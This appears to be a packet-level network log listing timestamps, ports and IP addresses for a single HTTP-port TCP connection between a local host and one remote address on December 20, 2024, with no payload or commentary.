Dec 20, 2024 04:12:39.102802038 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.103730917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.103771925 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.103889942 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.103925943 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.104754925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.104794025 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.104856968 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.104897976 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.105782032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.105856895 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.105866909 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.105906963 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.106637001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.106681108 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.106764078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.106805086 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.107584000 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.107644081 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.107695103 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.107738018 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.108596087 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.108640909 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.108686924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.108756065 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.109605074 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.109643936 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.247853041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.247941017 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.248003006 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.248433113 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.248496056 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.248562098 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.248605013 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.249403954 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.249449015 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.249522924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.249566078 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.250438929 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.250489950 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.250538111 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.250644922 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.251457930 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.251501083 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.251574993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.251683950 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.252494097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.252533913 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.252593994 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.252635956 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.253531933 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.253576994 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.253633022 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.253673077 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.254559994 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.254627943 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.254651070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.254698038 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.255605936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.255656004 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.255721092 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.255789042 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.256625891 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.256681919 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.256727934 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.256803989 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.257664919 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.257714033 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.257740974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.257778883 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.258687019 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.258728027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.258784056 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.258826017 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.259747028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.259916067 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.259943962 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.259980917 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.260766983 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.260803938 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.260881901 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.260932922 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.261785030 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.261825085 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.261883974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.261934996 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.262799025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.262840986 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.262917042 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.262957096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.263849974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.263890028 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.263961077 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.264027119 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.264878988 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.264926910 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.265013933 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.265058994 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.265965939 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.266011000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.266118050 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.266158104 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.266957998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.266998053 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.267056942 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.267105103 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.267991066 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.268034935 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.268104076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.268152952 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.269031048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.269078016 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.269135952 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.269208908 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.270023108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.270066023 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.270128012 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.270210028 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.271054029 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.271097898 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.271155119 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.271195889 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.272147894 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.272212029 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.272258043 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.273127079 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.273170948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.273242950 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.273281097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.274157047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.274197102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.274261951 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.274307966 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.275185108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.275232077 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.275290012 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.275352955 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.276215076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.276259899 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.276321888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.276376009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.277259111 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.277298927 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.277363062 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.277409077 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.278297901 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.278342962 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.278390884 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.278426886 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.279335022 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.279381037 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.279431105 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.279468060 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.280349970 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.280404091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.280462980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.280527115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.281369925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.281425953 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.281485081 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.281522989 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.282418966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.282483101 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.282537937 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.282588005 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.283427954 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.283474922 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.283520937 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.283620119 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.284615993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.284626961 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.284663916 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.285500050 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.285562992 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.285613060 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.285654068 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.286514997 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.286577940 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.286628008 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.286731005 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.287559032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.287640095 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.287697077 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.287817955 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.288594007 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.288654089 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.288700104 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.288798094 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.289633989 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.289701939 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.289764881 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.289839029 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.290688038 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.290745020 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.290745974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.290780067 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.291692972 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.291754007 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.291811943 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.291929007 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.292761087 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.292814016 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.292875051 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.292937040 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.293759108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.293874025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.293896914 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.293915987 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.294780016 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.294823885 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.294902086 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.294939995 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.295842886 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.295905113 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.295933962 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.296035051 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.296852112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.296901941 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.296982050 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.297034979 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.297919035 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.297962904 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.298026085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.298063040 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.298629999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.298680067 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.298762083 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.298907042 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.299655914 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.299702883 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.299766064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.299803972 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.300656080 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.301044941 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.301095009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.301141977 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.301181078 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.440154076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.440201998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.440222979 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.440258980 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.440649986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.440701008 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.440809965 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.440854073 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.441782951 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.441827059 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.441910028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.441956043 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.442740917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.442750931 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.442784071 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.443810940 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.443856955 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.443861961 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.443902969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.444802999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.444840908 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.444845915 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.444878101 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.445795059 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.445837975 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.445918083 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.445955038 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.446836948 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.446881056 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.446907043 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.446950912 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.447869062 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.447911978 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.447935104 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.447974920 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.448911905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.448955059 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.448966980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.449009895 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.449932098 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.449976921 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.449989080 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.450032949 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.450973034 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.451033115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.451194048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.451239109 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.451977968 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.452023029 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.452157021 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.452200890 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.453067064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.453109026 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.453181028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.453224897 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.454029083 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.454071999 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.454123974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.454168081 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.455069065 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.455111980 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.455182076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.455225945 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.456120014 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.456167936 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.456182003 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.456223011 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.457153082 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.457197905 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.457283974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.457326889 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.458163977 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.458205938 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.458292961 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.458336115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.459188938 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.459232092 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.459299088 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.459340096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.460253000 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.460298061 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.460318089 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.460359097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.461275101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.461335897 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.461397886 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.461441040 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.462286949 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.462331057 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.462358952 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.462408066 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.463449955 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.463494062 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.463536978 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.463747025 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.464402914 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.464447021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.464471102 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.464514017 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.465725899 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.465769053 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.465861082 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.465903997 CET	49838	80	192.168.2.4	31.41.244.11
